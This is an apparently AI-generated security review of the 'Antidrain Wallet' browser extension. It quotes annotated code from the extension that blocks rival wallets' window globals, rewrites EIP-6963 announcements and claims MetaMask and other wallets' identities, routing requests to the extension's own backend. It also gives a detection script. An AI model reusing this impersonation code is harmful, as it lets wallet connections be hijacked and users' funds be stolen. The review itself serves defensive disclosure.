Is Antidrain Wallet safe?

High risk

Antidrain Wallet blocks rival wallet extensions and swaps its own provider into their place so dApps unknowingly connect through it.

On every website, Antidrain injects a script that stops MetaMask, Rabby, Trust Wallet, Coinbase Wallet, Phantom and a dozen other wallets from setting their usual window.ethereum-style globals, and rewrites the EIP-6963 wallet-announcement events those wallets send so a dApp sees the real wallet's name and icon but receives Antidrain's own provider object instead. Any wallet connection request a dApp makes is routed through Antidrain's background service worker to its own RPC endpoint and confirmation screen, rather than the wallet the user actually chose. The substitution is silent: neither the visited site nor the user is shown any indication that the connected "MetaMask" or "Phantom" is not the real extension.

75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-940
SourceAI FOUND

Antidrain Wallet blocks MetaMask and clones its identity on every dApp

Code analysis shows Antidrain Wallet blocks MetaMask, Phantom and 14 other wallets from setting window.ethereum, then re-announces itself under their names so every dApp you visit talks to Antidrain instead of your real wallet.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install Antidrain Wallet alongside a real wallet like MetaMask and open any HTTPS page.

inject-guard.js runs in the page's own MAIN world at document_start, ahead of MetaMask's own injected script.

The extension did this

Antidrain stops MetaMask from ever setting window.ethereum and rewrites its wallet-discovery announcement to carry Antidrain's own provider instead.

Every dApp that reads window.ethereum, or listens for the standard EIP-6963 announcement, ends up holding Antidrain's provider object while believing it is talking to MetaMask.

02EvidenceCODE COMPARE
The code that does this

inject-guard.js: blocking real wallet globals and rewriting EIP-6963 announcements

What it actually does
Real wallets get blocked; their EIP-6963 announcement is rewritten to carry Antidrain's providersrc/inpage/inject-guard.js (annotated, same shipped code)
// 1. Block any OTHER script from setting window.ethereum/rabby/etc.
// unless Antidrain itself flips the allow-gate first.
Object.defineProperty(Object, 'defineProperty', {
  value(obj, prop, descriptor) {
    if (obj === window && PROTECTED_GLOBALS.has(prop) && !allowOwnDefs) {
      return obj; // silent no-op: MetaMask's own script thinks it succeeded
    }
    return realDefineProperty.call(this, obj, prop, descriptor);
  },
});

// 2. Intercept the STANDARD wallet-discovery event. Any wallet in this
// hardcoded 16-id list (MetaMask, Phantom, Rabby, Coinbase, Brave, ...)
// has its announcement's PROVIDER swapped for Antidrain's, while the
// announced name/icon/rdns are left as the real wallet's, so the dApp
// has no visible reason to suspect anything changed.
function dispatchEventGuard(event) {
  if (event.type === 'eip6963:announceProvider') {
    const rdns = event.detail?.info?.rdns;
    if (INTERCEPTED_RDNS.has(rdns) && event.detail.provider !== antidrainProvider) {
      event = new CustomEvent('eip6963:announceProvider', {
        detail: { info: event.detail.info, provider: antidrainProvider },
      });
    }
  }
  return realDispatchEvent.call(this, event);
}
03EvidenceCODE COMPARE
The code that does this

inject.js: Antidrain's provider claims every rival wallet's identity flag

What it actually does
The substitute provider `r` sets EVERY rival wallet's identity flag to truesrc/inpage/inject.js (renamed, same behavior)
const antidrainProvider = {
  isAntidrainWallet: true,
  isMetaMask: true,
  isRabby: true,
  isCoinbaseWallet: true,
  isTrust: true,
  isTrustWallet: true,
  isPhantom: true,
  isAmbire: true,
  isOkxWallet: true,
  isTokenPocket: true,
  isMathWallet: true,
  isBitKeep: true,
  isBitget: true,
  isZerion: true,
  selectedAddress: null,
  chainId: '0x1',
  networkVersion: '1',
  request: async ({ method, params } = {}) => forwardToBackground(method, params),
  // ...standard EIP-1193 event-emitter surface (on/off/send/enable/etc)...
};
Re-broadcasts one provider under every real wallet's uuid/name/rdns, then pins the getterssrc/inpage/inject.js (renamed, same behavior)
const announceAsAllWallets = () => {
  announce(ANTIDRAIN_UUID, 'Antidrain Wallet', 'io.antidrainwallet', antidrainIcon);
  announce(METAMASK_UUID, 'MetaMask', 'io.metamask', metamaskIcon); // real MetaMask icon, fake provider
  announce(RABBY_UUID, 'Rabby Wallet', 'io.rabby', antidrainIcon);
  announce(TRUSTWALLET_UUID, 'Trust Wallet', 'com.trustwallet.app', antidrainIcon);
  announce(COINBASE_UUID, 'Coinbase Wallet', 'com.coinbase.wallet', antidrainIcon);
  announce(PHANTOM_UUID, 'Phantom', 'app.phantom', antidrainIcon);
  // ...11 more real wallets, each announced with the SAME antidrainProvider...
};

const setGlobalGetter = (globalName, getter) => {
  const existing = Object.getOwnPropertyDescriptor(window, globalName);
  if (existing?.configurable) delete window[globalName];
  originalDefineProperty(window, globalName, { get: getter, set: () => true, configurable: false });
};
for (const name of ['ethereum','rabby','trustwallet','coinbaseWalletExtension','okxwallet',
                     'tokenpocket','bitkeep','bitget','ambire','mathwallet','gatewallet']) {
  setGlobalGetter(name, () => antidrainProvider);
}
setGlobalGetter('phantom', () => ({ ethereum: antidrainProvider, solana: antidrainProvider }));
04EvidenceFIELD TABLE
What each impersonated wallet global actually resolves to once Antidrain runs
FieldValueWhy it matters
window.ethereum
{isMetaMask:true,isAntidrainWallet:true,request:fn}Resolves to Antidrain's own provider object, not MetaMask, even though isMetaMask reads true on it.
EIP-6963 announcement for MetaMask
{info:{name:'MetaMask',rdns:'io.metamask'},provider:{isAntidrainWallet:true}}The dApp-visible name and icon still say MetaMask, but the provider object inside the event is Antidrain's.
Where requests actually go
https://wallet.antidrain.dev/rpcAccount access, signing and transaction requests you approve go to Antidrain's own backend, not to MetaMask's normal RPC path.
Wallets on the intercept list
io.metamask, io.rabby, com.trustwallet.app, com.coinbase.wallet, app.phantom, io.ambire, com.okex.wallet, pro.tokenpocket, com.mathwallet, com.bitkeep, com.bitget.web3, io.zerion.wallet, me.rainbow, com.brave.wallet, io.gate.walletAny wallet not in this hardcoded list of 16 reverse-DNS ids is left alone; everything else is impersonated.
05EvidenceARTIFACT
Check if you're affected

Paste into any HTTPS page's console with Antidrain Wallet and a real wallet (e.g. MetaMask) both installed, to see every wallet announcement Antidrain fakes.

RequiresAntidrain Wallet extension (mfbelfelhpleekkcnhddkcnocglcgddm) installedA real EIP-6963 wallet such as MetaMask, Rabby or Phantom also installed
antidrain-eip6963-probe.js · js
// antidrain-eip6963-probe.js
// Lists every EIP-6963 wallet announcement this page receives and flags
// any whose displayed identity (rdns) belongs to a real wallet but whose
// provider object is actually Antidrain's.
(function () {
  const seen = [];
  window.addEventListener('eip6963:announceProvider', (event) => {
    const { info, provider } = event.detail || {};
    if (!info) return;
    const isFake = provider && provider.isAntidrainWallet === true && info.rdns !== 'io.antidrainwallet';
    seen.push({ name: info.name, rdns: info.rdns, isAntidrainProvider: !!(provider && provider.isAntidrainWallet) });
    console.log(
      isFake ? '[antidrain-probe] IMPERSONATED:' : '[antidrain-probe] announcement:',
      info.name, info.rdns, 'provider.isAntidrainWallet =', provider && provider.isAntidrainWallet
    );
  });
  window.dispatchEvent(new Event('eip6963:requestProvider'));
  setTimeout(() => {
    console.log('[antidrain-probe] Total announcements received:', seen.length);
    console.table(seen);
  }, 2000);
}());
How to run it
  1. 1
    Install Antidrain Wallet plus MetaMask (or another supported wallet).
  2. 2
    Open any HTTPS page's console.
  3. 3
    Paste and run this script.
  4. 4
    Look for a real wallet's rdns paired with provider.isAntidrainWallet true.
06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Antidrain Wallet contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • wallet.antidrain.dev

    Antidrain Wallet sends data to wallet.antidrain.dev. No other extension we have analysed sends data here.

Updated 30 September 2026mfbelfelhpleekkcnhddkcnocglcgddm